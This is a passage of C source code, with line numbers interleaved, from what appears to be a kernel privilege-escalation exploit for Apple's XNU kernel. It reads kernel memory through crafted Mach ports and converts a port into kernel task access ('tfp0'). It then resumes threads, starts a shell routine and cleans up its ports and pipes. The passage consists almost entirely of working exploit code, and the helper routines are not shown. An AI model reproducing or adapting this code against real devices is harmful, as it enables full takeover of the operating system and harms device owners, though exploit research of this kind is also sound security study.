kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space,
981
super_port, notify_port);
982
983
LOG("kernel_space: %lx", kernel_space);
984
985
addr_t self_space;
986
kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space,
987
super_port, notify_port);
988
addr_t super_port_addr = kread0_port_addr(self_space, super_port,
989
super_port, notify_port);
990
991
LOG("super_port_addr: %lx", super_port_addr);
992
993
// setup port for kernel task as outlined in [2]
994
super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space,
995
super_port_addr);
996
LOG("got tfp0");
997
tfp0 = super_port;
998
999
// resume thread, otherwise we lose some of
1000
// objective-C runtime functionality.
1001
for_other_threads(^(thread_act_t t) {
1002
kern_return_t kr = thread_resume(t);
1003
if (kr != KERN_SUCCESS)
1004
LOG("could not resume a thread");
1005
});
1006
1007
shell_main(self_space, slide);
1008
1009
ports[0] = 0;
1010
ports[1] = 0;
1011
ports[2] = 0;
1012
mach_ports_register(mach_task_self(), ports, 3);
1013
1014
mach_port_destroy(mach_task_self(), tfp0);
1015
close(super_pipe[0]);
1016
close(super_pipe[1]);
1017
exit(0);
1018
1019
return 0;
1020
}
1021
1022